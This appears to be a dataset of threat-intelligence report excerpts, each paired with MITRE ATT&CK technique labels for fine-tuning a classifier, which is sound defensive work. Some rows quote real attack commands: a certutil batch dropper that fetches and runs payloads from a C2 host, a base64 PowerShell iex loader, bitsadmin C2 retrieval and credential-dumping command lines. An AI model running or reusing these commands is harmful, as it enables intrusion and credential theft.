"However, if you DO get infected, you’ll want to delete the following registry keys (if they exist): HKLM/System/CurrentControlSet/Services/DirecastX ytasda jrqq HKLM/System/CurrentControlSet/Services/DirectX yta jsdrq HKLM/System/CurrentControlSet/Services/DirectX ytsda jrq Additionally, you’ll want to delete any copies of “svchost.exe” that you find in %Program Files (x86)%/DIFXE/, as these are the dropped copies of the malware","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1112 - Modify Registry']",fine_tune
"However, we were able determine a unique, hard-coded user agent used for the C2 communications: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Using AutoFocus, we pivoted from the user agent string to expand our data set to three additional Zebrocy samples using the exact same user agent","['T1087 - Account Discovery', 'T1543.001 - Create or Modify System Process: Launch Agent']",fine_tune
"If that fails, the payload will use DNS tunneling by first issuing a DNS query to resolve the following domain to notify the C2 that the payload will send data to it in subsequent DNS queries:   ns1.<random number between 100000 and 999999>.<c2 name>   The payload will then split the message up into 60-byte chunks (only 1 in this case), which it will send to the C2 via DNS queries to resolve domains structured as:   <encoded/encrypted data of message>.<same random number between 100000 and 999999>.<c2 name>   The payload will notify the C2 that it is done sending data by issuing a DNS query to resolve a domain structured as:   ns2.<same random number between 100000 and 999999>.<c2 name>   Package Comparison of the QUADAGENT Samples The bat2exe version (SHA256: 5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63)has a batch script, PowerShell script, and associated file names embedded within several resources that it will decrypt using RC4 and various MD5 hashes for keys","['T1071 - Application Layer Protocol', 'T1573 - Encrypted Channel', 'T1048 - Exfiltration Over Alternative Protocol', 'T1008 - Fallback Channels']",fine_tune
"If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what  commands the C2 wishes to run by issuing a request to the following URL:http://<c2 domain>/what?<hex(Environment.UserName/Environment.MachineName)> After issuing the what command, the Trojan will parse the C2’s response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit","['T1071 - Application Layer Protocol', 'T1573 - Encrypted Channel', 'T1041 - Exfiltration Over C2 Channel', 'T1571 - Non-Standard Port', 'T1132 - Data Encoding', 'T1008 - Fallback Channels', 'T1043 - Commonly Used Port']",fine_tune
"If the mutex does not exist and a Windows Startup Registry key with name “System Update” does not exist, the malware performs its initialization routine by:  Copying itself to the path %PROGRAMDATA%\svchost.exe Sets the Windows Startup Registry key with the name “System Update” which points to the above dropped payload","['T1112 - Modify Registry', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
"If there are keys for the string encryption with the XOR algorithm, the configuration data will be also encrypted with the XOR algorithm","['T1573 - Encrypted Channel', 'T1027 - Obfuscated Files or Information']",fine_tune
"If the Trojan receives this echo, it will create the following file that the Trojan uses as a signal that it was able to successfully communicate with its C2 server: %APPDATA%\Windows\ShwDoc.srv If the Trojan determines the C2 server wishes to send a command, it sends an HTTP request to the following URL: hxxp://www.windowspatch[.]com/tahw?<hex(STDOUT of whoami command)> The Trojan will first check the response to this request for the string spoo, which signifies the C2 does not wish to issue a command","['T1071 - Application Layer Protocol', 'T1008 - Fallback Channels']",fine_tune
"If unable to contact the C2 server initially, the shellcode is configured to reattempt communication with the C2 server address in the following pattern:  [a-z][a-z][a-z].stage.14919005.www1.proslr3[.]com VBScript #2 “mshta.exe” further executes the second VBScript “58d2a83f777908.23270411.vbs”, which creates a folder by GUID name inside “Intel” and drops the VBScript payloads and configuration files: \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777638.60220156.ini \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777688.78384945.ps1 \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776b5.64953395.txt \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776e0.72726761.vbs \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777716.48248237.vbs \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777788.86541308.vbs \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\Foxconn.lnk This script then executes “58d2a83f777716.48248237.vbs”, which is a variant of FIN7’s HALFBAKED backdoor","['T1036 - Masquerading', 'T1064 - Scripting']",fine_tune
"In 2016, CTU researchers observed the group using native system functionality to disable logging processes and delete logs within a compromised environment","['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1070.004 - Indicator Removal on Host: File Deletion']",fine_tune
"In all of the DropIt samples we collected, the dropper will then save the executable to the user’s %TEMP% folder and execute the file, specifically to one of the following filenames:  %TEMP%\spp.exe %TEMP%\sloo.exe %TEMP%\spoo.exe %TEMP%\vschos.exe  We have also seen Magic Hound using DropIt like a binder Trojan, specifically dropping a legitimate decoy executable along with the malicious executable as a payload","['T1055.012 - Process Injection: Process Hollowing', 'T1036 - Masquerading']",fine_tune
"In December 2018, a thread on HackForums described a change in the ownership and ongoing development of the HawkEye keylogger.Shortly following this exchange, new posts began to appear that were attempting to market and sell new versions of HawkEye (HawkEye Reborn v9), with these new posts also referencing the change in ownership of the project moving forward.HawkEye Reborn v9 is currently marketed as an ""Advance Monitoring Solution."" It is currently being sold using a licensing model, with purchasers gaining access to the software and updates for different periods based on a tiered pricing model.HawkEye Reborn v9 also features a Terms of Service agreement that provides some additional insight","['T1543.003 - Create or Modify System Process: Windows Service', 'T1008 - Fallback Channels']",fine_tune
"Indicators  File  Hash  Description  x.js  3fefa55daeb167931975c22df3eca20a  HOMEFRY, a 64-bit Windows password dumper/cracker  mt.exe  40528e368d323db0ac5c3f5e1efe4889  MURKYTOP, a command-line reconnaissance tool   com4.js  a68bf5fce22e7f1d6f999b7a580ae477  AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages   Historical Indicators  File  Hash  Description  green.ddd  3eb6f85ac046a96204096ab65bbd3e7e  AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages  BGij  6e843ef4856336fe3ef4ed27a4c792b1  Beacon, a commercially available backdoor  msresamn.ttf  a9e7539c1ebe857bae6efceefaa9dd16  PHOTO, also reported as Derusbi  1024-aa6a121f98330df2edee6c4391df21ff43a33604  bd9e4c82bf12c4e7a58221fc52fed705  BADFLICK, backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command-and-control configuration",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Indicators of compromise MITRE ATT&CK techniques  Modify existing service Code signing File deletion Deobfuscate/decode files or information System information discovery Process discovery Service execution RunDLL32 Scripting Command-line Interface Data from local system Automated exfiltration Data encrypted Commonly used port Bypass user account control  Hashes  fe32d29fa16b1b71cd27b23a78ee9f6b7791bff3 f684e15dd2e84bac49ea9b89f9b2646dc32a2477 1d280a77595a2d2bbd36b9b5d958f99be20f8e06 19d9573f0b2c2100accd562cc82d57adb12a57ec f90a2155ac492c3c2d5e1d83e384e1a734e59cc0 9b832dda912cce6b23da8abf3881fcf4d2b7ce09 f3b62fea38cb44e15984d941445d24e6b309bc7b 66d2cea01b46c3353f4339a986a97b24ed89ee18 7113aaab61cacb6086c5531a453adf82ca7e7d03 d41daba0ebfa55d0c769ccfc03dbf6a5221e006a 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c 35ab747c15c20da29a14e8b46c07c0448cef4999 e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0 bca861a46d60831a3101c50f80a6d626fa99bf16 01530adb3f947fabebae5d9c04fb69f9000c3cef 4229896d61a5ad57ed5c247228606ce62c7032d0 4c7e975f95ebc47423923b855a7530af52977f57 5a6ad7a1c566204a92dd269312d1156d51e61dc4 1dc50bfcab2bc80587ac900c03e23afcbe243f64 003e21b02be3248ff72cc2bfcd05bb161b6a2356 9b7c3c48bcef6330e3086de592b3223eb198744a 85e2453b37602429596c9681a8c58a5c6faf8d0c  Domains  ftp.byethost31.com ftp.byethost11.com 1113427185.ifastnet.org navermail.byethost3.com nihon.byethost3.com,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
Indirect Code Execution Through INF and SCT This scriptlet code execution technique leveraging INF and SCT files was recently discovered and documented in February 2018,"['T1140 - Deobfuscate/Decode Files or Information', 'T1064 - Scripting']",fine_tune
"In one incident, the threat actor used the Wrapikatz tool (w.exe) with a usage statement that retrieves various passwords and Windows credentials from memory and compiles them in w.txt: c:\programdata\w.exe –w –l –c>>c:\programdata\w.txt In a separate incident, the threat actor used access provided by extensive web shell deployment to harvest account credentials:  2016-10-03T09:27:47   dir 2016-10-03T09:28:11   w64.log >ppp.log 2016-10-03T09:30:10     PowerShell.exe -ExecutionPolicy Bypass -File getpwd.ps1 >iistail.log  In another example, BRONZE UNION leveraged the Kekeo credential abuse tool to exploit CVE-2014-6324, a vulnerability in Microsoft's implementation of the Kerberos network authentication protocol","['T1003 - OS Credential Dumping', 'T1068 - Exploitation for Privilege Escalation']",fine_tune
"In other cases, threat actors placed web shells on externally accessible servers, sometimes behind a reverse proxy, to execute commands on the compromised system","['T1090 - Proxy', 'T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
"In particular, the threat actors have exploited CVE-2011-3544, a vulnerability in the Java Runtime Environment, to deliver the HttpBrowser backdoor; and CVE-2010-0738, a vulnerability in JBoss, to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code","['T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution']",fine_tune
"Interestingly, the attacker has used the >> method to append to the file so there can be multiple outputs written to their single TMP file: ""C:\Windows\system32\cmd.exe"" /C systeminfo >> ""C:\Ahnlab\$$$A24F.TMP""  ""C:\WINDOWS\system32\cmd.exe"" /C tasklist /v >> ""C:\Ahnlab\$$$A24F.TMP""   NavRAT   Capabilities  NavRAT is a remote access trojan (RAT) designed to upload, download and execute files","['T1074 - Data Staged', 'T1105 - Ingress Tool Transfer']",fine_tune
"In the event this privilege was obtained, the common startup folder is queried by reading the following registry key:  HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Startup  Alternatively, if the privilege was unable to be obtained, Reaver.v2 will obtain the user’s startup folder by querying the following registry key:  HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup  Reaver proceeds to write a shortcut file to ‘%TEMP%\~WUpdate.lnk’","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1012 - Query Registry']",fine_tune
"In the following example, archives for exfiltration were renamed as .tmp files:  move \\{FILE PATH}\c$\programdata\AT.part01.rar  \\{FILE PATH}\c$\programdata\at01.tmp The TMP files were then staged for exfiltration on Internet-facing servers that had previously been compromised with the China Chopper web shell","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1074 - Data Staged']",fine_tune
"In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor","['T1598.003 - Spearphishing Link', 'T1598.002 - Spearphishing Attachment']",fine_tune
"In this particular instance, the following script is retrieved:@echo off  :if exist ""%PROGRAMFILES(x86)%"" (GOTO 64BITOS) ELSE (GOTO 32BITOS)  :32BITOS certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup.txt > nul certutil -decode -f setup.txt setup.cab > nul del /f /q setup.txt > nul GOTO ISEXIST  :64BITOS :certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup2.txt > nul :certutil -d^ecode -f setup2.txt setup.cab > nul :del /f /q setup2.txt > nul :GOTO ISEXIST  :ISEXIST  if exist ""setup.cab"" (GOTO EXECUTE) ELSE (GOTO EXIT)  :EXECUTE ver | findstr /i ""10\."" > nul IF %ERRORLEVEL% EQU 0 (GOTO WIN10) ELSE (GOTO OTHEROS)  :WIN10 expand %TEMP%\setup.cab -F:* %CD% > nul :if exist ""%PROGRAMFILES(x86)%"" (rundll32 %TEMP%\drv.dll EntryPoint) ELSE (rundll32 %TEMP%\drv.dll EntryPoint) %TEMP%\install.bat GOTO EXIT  :OTHEROS wusa %TEMP%\setup.cab /quiet /extract:%TEMP% > nul %TEMP%\install.bat GOTO EXIT  :EXIT del /f /q setup.cab > nul del /f /q %~dpnx0 > nulThis script simply checks the operating system of the victim and downloads the respective payload again using the certutil executable","['T1071 - Application Layer Protocol', 'T1218.011 - Signed Binary Proxy Execution: Rundll32']",fine_tune
IOCs Domain supservermgr[.]com URL hxxp://supservermgr[.]com/sys/upd/pageupd.php Zebrocy d697160aecf152a81a89a6b5a7d9e1b8b5e121724038c676157ac72f20364edc cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df 25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8 115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03 f27836430742c9e014e1b080d89c47e43db299c2e00d0c0801a2830b41b57bc1 5b5e80f63c04402d0b282e95e32155b2f86cf604a6837853ab467111d4ac15e2 dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d Koadic abbad7acd50754f096fdc6551e728aa6054dcf8e55946f90a02b17db552471ca User Agents Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1 IPs 185.25.51[.]198 185.25.50[.]93 220.158.216[.]127 92.114.92[.]102 86.106.131[.]177  DDE Docs 85da72c7dbf5da543e10f3f806afd4ebf133f27b6af7859aded2c3a6eced2fd5 8cf3bc2bf36342e844e9c8108393562538a9af2a1011c80bb46416c0572c86ff,['T1087 - Account Discovery'],fine_tune
"Irdsnhrxxxfery64 manipulation on userinit.exe & unins000.exe Injection Technique To Increase Stealthiness After locating one of the target processes, the malware uses Process Hollowing (MITRE Technique T1093) to evasively create a new process from a legitimate source","['T1055.012 - Process Injection: Process Hollowing', 'T1057 - Process Discovery']",fine_tune
"It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string","['T1082 - System Information Discovery', 'T1071 - Application Layer Protocol']",fine_tune
"It executes the other modules and collects initial information about the machine, including information about the network, locale, and the keyboard language.    The main module collecting information about the machine","['T1082 - System Information Discovery', 'T1016 - System Network Configuration Discovery', 'T1087 - Account Discovery']",fine_tune
"It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell","['T1113 - Screen Capture', 'T1083 - File and Directory Discovery']",fine_tune
"It sets keyboard and mouse hooks to its handlekeys() and MouseHookProc() functions respectively and starts several working threads:    ID Thread description   1 Gets commands from C2 and saves them to a file and system registry using the bitsadmin.exe utility   2 Decrypts command from registry using RC4 with a hardcoded key, and executes it   3 Transfers screenshots from the clipboard to \Cache005 subdirectory and Unicode text from clipboard to log.txt, XOR-ed with the “salamati” key (“health” in Farsi)   4 Transfers screenshots to \Cache005 subdirectory with captureScreenTimeOut and captureScreenTimeOut frequencies   5 Checks network connection, encrypts and sends gathered logs   6 Unhooks mouse and keyboard, removes bitsadmin task   7 Checks if malware’s working directory size already exceeds its threshold   8 Gathers victim´s credentials, visited website cache, decrypted Chrome login data, as well as Firefox databases with cookies, keys, signons and downloads    The malware uses the following command to receive data from its C2:       bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal <server> <file>http://<server_config>/asp.asp?ui=<host_name>nrg-<adapter_info>-<user_name>     Activity logging module (Splitter.exe) This module is called from the main thread to obtain screenshots of windows whose titles are specified in the configuration CaptureSites field, bitmaps and text from clipboard, etc","['T1113 - Screen Capture', 'T1115 - Clipboard Data']",fine_tune
"It then creates the following registry key to automatically run the Trojan each time the system starts: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\@RANDOM@ The main behavior carried out by this Trojan involves obtaining an embedded executable, hollowing the current Trojan, writing the new embedded executable to the process memory and calling a specific function in the newly written payload","['T1055.012 - Process Injection: Process Hollowing', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
"It then launches player.exe, a CozyDuke dropper maintaining anti-detection techniques: 3d3363598f87c78826c859077606e514,player.exe,338kb,Trojan.Win32.CozyBear.v,CompiledOn:2014.07.02 21:13:33 Anti-detection and trojan functionality The file collects system information, and then invokes a WMI instance in the root\securitycenter namespace to identify security products installed on the system, meaning that this code was built for x86 systems, wql here: SELECT * FROM AntiVirusProduct SELECT * FROM FireWallProduct The code hunts for several security products to evade: CRYSTAL KASPERSKY SOPHOS DrWeb AVIRA COMODO Dragon In addition to the WMI/wql use, it also hunts through the “SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\” registry key looking for security products to avoid","['T1518.001 - Software Discovery: Security Software Discovery', 'T1036 - Masquerading']",fine_tune
JAVASCRIPT CODE SNIPPETS:  The first stage JavaScript copies additional JavaScript code snippets in txt format from the RTF document into a random directory “C:\Users\<User Name>\<Random guid>\”,"['T1033 - System Owner/User Discovery', 'T1064 - Scripting']",fine_tune
"Just like in the sandbox checks, the Trojan checks for an attached debugger each time it issues a DNS query; if it does detect a debugger it will issue a DNS query to resolve 676f6f646c75636b.gogle[.]co","['T1518.001 - Software Discovery: Security Software Discovery', 'T1124 - System Time Discovery', 'T1497 - Virtualization/Sandbox Evasion']",fine_tune
"Lateral Movement, Maintain Presence, and Complete Mission APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol (RDP), Secure Shell (SSH), PsExec, RemCom, and xCmdSvc","['T1021.001 - Remote Services: Remote Desktop Protocol', 'T1021 - Remote Services']",fine_tune
"Like the ChinaChopper web shell, the OwaAuth web shell requires a password","['T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
"Malware  Capabilities  WINDSHIELD   Command and control (C2) communications via TCP raw sockets Four configured C2s and six configured ports – randomly-chosen C2/port for communications Registry manipulation Get the current module's file name Gather system information including registry values, user name, computer name, and current code page File system interaction including directory creation, file deletion, reading, and writing files Load additional modules and execute code Terminate processes Anti-disassembly   KOMPROGO   Fully-featured backdoor capable of process, file, and registry management Creating a reverse shell File transfers Running WMI queries Retrieving information about the infected system   SOUNDBITE   C2 communications via DNS Process creation File upload Shell command execution File and directory enumeration/manipulation Window enumeration Registry manipulation System information gathering   PHOREAL   C2 communications via ICMP Reverse shell creation Filesystem manipulation Registry manipulation Process creation File upload   BEACON (Cobalt Strike)   Publicly available payload that can inject and execute arbitrary code into processes Impersonating the security context of users Importing Kerberos tickets Uploading and downloading files Executing shell commands Configured with malleable C2 profiles to blend in with normal network traffic Co-deployment and interoperability with Metasploit framework SMB Named Pipe in-memory backdoor payload that enables peer-to-peer C2 and pivoting over SMB    Table 3: APT32 Malware and Capabilities APT32 operators appear to be well-resourced and supported as they use a large set of domains and IP addresses as command and control infrastructure",['T1041 - Exfiltration Over C2 Channel'],fine_tune
Newer HttpBrowser versions use SSL with self-signed certificates to encrypt network communications,"['T1553.002 - Code Signing', 'T1573 - Encrypted Channel']",fine_tune
Obfuscation Mechanism for the JScript Code The malicious JScript code obfuscation relies on two main techniques,"['T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information']",fine_tune
"Office365DCOMCheck.ps1 and SystemDiskClean.ps1):       wscript.exe ""Office365DCOMCheck.vbs"" \""PowerShell.exe  -ExecutionPolicy bypass -WindowStyle hidden -NoProfile '<current PowerShell script>'  \""     After setting up persistent access, the payload checks to see if a value exists within a registry key in the HKCU hive whose name is the same as the scheduled task (ex","['T1036 - Masquerading', 'T1012 - Query Registry']",fine_tune
"Office365DCOMCheck.vbs or SystemDiskClean.vbs) within the %TEMP% folder:       CreateObject(""WScript.Shell"").Run """" & WScript.Arguments(0) & """", 0, False     The scheduled task will then run every five minutes, which provides persistent execution of the downloader script","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1059 - Command and Scripting Interpreter', 'T1064 - Scripting', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
"Old Comnie Variant C2 Decoder      12345678910111213141516171819  import requestsimport sysimport redef decode(data):  o = """"  for c in data:    if c == ""*"":      o += "".""    elif c == ""|"":      o += "":""    elif c == ""+"":      o += "";""    else:      o += chr(ord(c)-49)  return or = requests.get(sys.argv[1])fd = r.textdata = fd.split(""++a++"")[1].split(""++a++"")[0]print(decode(data))       Samples Analyzed eed5945c36ba22a2531dd2d9dd7bc4e17e68544d512be75670919caf287c1b4a 8026442b812469e48ccd11611ab6eacdcb312a8f1aabd563b7f4cb4868315e16 c8951038fd53321661274e5a12532c3fb6f73c75fd75503a1089c56990658fef 48a1ce103e5bf47c47cc5ed40b2dc687ebaf3674d667419287bcb1d0b8d8dda6 e06b797a24fa03a77e0d5f11b0cf0f4f038e0a9ea04d4981d39148969349c79c 7282d0709449abe16457864f58157cac8d007571dc5d463d393d1ae2605d17e0 bf6ee8426245b167a69292e513c0841d818b310dda87daea649221f4e0afd1b3 62b98dde60cb4dd0d0088bde222c5c2c4c92560cccf4753f1ce94e044093ab85 756952652290ad09fe03c8674d44eab2077b091398187c3abcb6f1ddc462c32d 639a49390c6f8597d36ec0bd245efa1b4a078c0506fb515e577a40389b39a614 29ed6eb3c882b018c2bb6bf2f8eb15069dc5510ca119abebf24f09e3c91f10aa 0e8a4e4d5ca501bad25a730fb5de534fa324c6ac23e0a573524693f2d996d105 316a0c6849f183a1a52d0c7648e722c4ca85bd57b0804a147c0c8656b84bbdb9   Identified C2s 121.126.211[.]94:8080 113.196.70[.]11:80,8080 133.130.101[.]47:443 123.51.208[.]157:443;8000;8080   C2 Hosting URLs (DDR URLs) github[.]com/korlee5643 itsmonsee.tumblr[.]com allworldnewsway.blogspot[.]com",['T1043 - Commonly Used Port'],fine_tune
"Once all the tasks have been executed completely, the malware breaks the loop, sends the termination buffer back, and clears all the footprints from the targeted machine:  Deletes the LNK file from the startup directory","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
"Once the payload is successfully executed, it will proceed to copy files to the following locations:  C:\ProgramData\ManagerApp\AdapterTroubleshooter.exe C:\ProgramData\ManagerApp\15b937.cab C:\ProgramData\ManagerApp\install.cab C:\ProgramData\ManagerApp\msvcr90.dll C:\ProgramData\ManagerApp\d3d9.dll  The “AdapterTroubleshooter.exe” file is a legitimate binary which is leveraged to use the famous DLL search order hijacking technique.  The “d3d9.dll” file is malicious and is loaded into memory by the legit binary upon execution.  Once loaded, the DLL will then inject FinSpy into the Winlogon process","['T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",fine_tune
"One such email that we were able to obtain was targeting users in Turkey, as shown in Figure 4:    Figure 4: Sample spear phishing email containing macro-based document attachment The malicious Microsoft Office attachments that we observed appear to have been specially crafted for individuals in four countries: Turkey, Pakistan, Tajikistan and India","['T1598.002 - Spearphishing Attachment', 'T1204 - User Execution']",fine_tune
OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0,"['T1027.002 - Obfuscated Files or Information: Software Packing', 'T1027 - Obfuscated Files or Information']",fine_tune
"Our analysis of the backdoors used in the September 2018 attacks show that AuditCred.dll/ROptimizer.dll was similarly used:      FileTokenBroker.dll  (2017 attack) AuditCred.dll/Roptimizer.dll  (2018 attack)   Launch Method Service Service   Function Loader Component Loader Component   Working directory %Windows%\System32 %Windows%\System32   Loaded Component Path %Windows%\System32\en-US %Program Files%\Common Files\System\ado   Loaded Component Blending Blends with .mui files Blend with ActiveX data Object dll files    Table1: Similarities of the Loader components in both incidents Analysis of backdoors used in 2018 The Lazarus group used a series of backdoors in their 2018 attacks, employing a complicated technique that involves three major components:  AuditCred.dll/ROptimizer.dll (detected by Trend Micro as BKDR_BINLODR.ZNFJ-A) – loader DLL that is launched as a service Msadoz<n>.dll (detected by Trend Micro as BKDR64_BINLODR.ZNFJ-A) – encrypted backdoor n = number of characters in the loader dll’s filename Auditcred.dll.mui/rOptimizer.dll.mui (detected by Trend Micro as TROJ_BINLODRCONF.ZNFJ-A) – encrypted configuration file   Figure 1: Loading sequence of the modularized backdoor The loader DLL is installed as a service and uses different names (AuditCred and ROptimizer) on different machines","['T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",fine_tune
"Our observation of related actions here:    u ps start password stealing (Windows)   Ps_mps/ps_hwi start start password stealing (Linux, MIPS,  ARM)   uper_mps/uper_hwi start rewrite hook module with a new version and launch it (Linux, MIPS, ARM)   Nm_mps/nm_hwi start  –ban -middle Scan ports and retrieve banners on the router subnet  (Linux, MIPS,  ARM)   U fsget * 7 *.docx, *.pdf, *.doc * search for docs with the given filetypes (Windows)   S sinfo retrieve information on installed programs and launch commands: systeminfo, tasklist, ipconfig, netstat, route print, tracert www.google.com (Windows)   weap_mps/weap_hwi host188.128.123.52 port[25,26,110,465,995]  typetcpconnect DDoS on 188.128.123.52 (Linux, MIPS,  ARM)   weap_mps/weap_hwi  typesynflood port80 cnt100000 spdmedium host212.175.109.10 DDoS on 212.175.109.10 (Linux, MIPS,  ARM)    The issued commands for the Linux plugins suggest the attackers controlled infected MIPS/ARM devices. We want to pay special attention to the DDoS commands meant for these routers",['T1003 - OS Credential Dumping'],fine_tune
"Part of packed VM PCODE After unpacking, the PCODE it will look like the following: Unpacked PCODE After unpacking the virtual machine PCODE is then decrypted: Decrypted VM PCODE The custom virtual machine supports a total of 34 instructions: Example of parsed PCODE In this example, the “1b” instruction is responsible for executing native code that is specified in parameter field","['T1140 - Deobfuscate/Decode Files or Information', 'T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1027.002 - Obfuscated Files or Information: Software Packing', 'T1497 - Virtualization/Sandbox Evasion']",fine_tune
"Persistence Mechanism Figure 3 shows that for persistence, the document creates two scheduled tasks and creates one auto-start registry entry pointing to the LNK file","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
POSHSPY WMI Component The WMI component of the POSHSPY backdoor leverages a Filter to execute the PowerShell component of the backdoor on a regular basis,"['T1047 - Windows Management Instrumentation', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\ProgramData\ZIPSDK\ProjectConfManagerNT.ini))));  PowerShell one-liner Encoded text file Execution flow:  The PowerShell code When PowerShell is invoked whether via WMI, wscript.exe, or mshta.exe, it executes a one-liner PowerShell code (as outlined above) that reads the encoded text file dropped in ProgramData and then decodes it","['T1036 - Masquerading', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"PowerShell Script “58d2a83f777942.26535794.ps1” is a multilayer obfuscated PowerShell script, which launches shellcode for a Cobalt Strike stager","['T1027 - Obfuscated Files or Information', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"Previous related research: https://sec0wn.blogspot.com/2018/05/clearing-muddywater-analysis-of-new.html?m=1 https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/ https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/ https://www.sekoia.fr/blog/falling-on-muddywater/  Decoy images by country Jordan     The Hashemite Kingdom of Jordan, Ministry of Justice (mwjo.doc) DAMAMAX.doc    Turkey     Turkey’s General Directorate of Security Turkey’s Directorate General of Coastal Safety        Turkey’s General Directorate of Security (Onemli Rapor.doc) Turkey’s Ministry of the Interior (Early election.doc)    Saudi Arabia Document signed by the Major General Pilot, commander of the Saudi Royal Air Force     KSA King Saud University (KSU) KSA King Saud University (KSU)    Azerbaijan İnkişaf üçün görüş.doc (meeting for development) Iraq     Iraqi Ministry of Foreign Affairs Government of Iraq, the Treasury of the Council of Ministers    Pakistan     ECP.doc National Assembly of Pakistan.doc        P.Police.doc     Afghanistan President.doc, E-government of Afghanistan Technical details Below is a description of the malware extraction and execution flow, starting from the initial infection vector, running VBA code via a macro and then dropping the PowerShell code that establishes command-center communications, sends victim system information and then receives commands supported by the malware",['T1071 - Application Layer Protocol'],fine_tune
"Probably full and active window screenshot quality   captureActiveQC 40   CaptureSites VPN*0,0 Login*0,0 mail*0,0 Security*0,0 Window titles of interest for screenshots, using left mouse button and Enter keypress hook   important upLog.txt upSCRLog.txt upSpecial.txt upFile.txt upMSLog.txt List of files to send to C2 using bitsadmin.exe from the dedicated thread   maxUpFileSizeKByte 1000000 Maximum size of file uploaded to C2   Servers http://108.61.189.174 Control server HTTP URL   ZipPass KtJvOXulgibfiHk Password for uploaded zip archives   browserPasswordCheckTimeout 300000 Milliseconds to wait between gathering key3.db, cookies.sqlite and other browser files in dedicated thread    Most of the parameters are self-explanatory","['T1071 - Application Layer Protocol', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
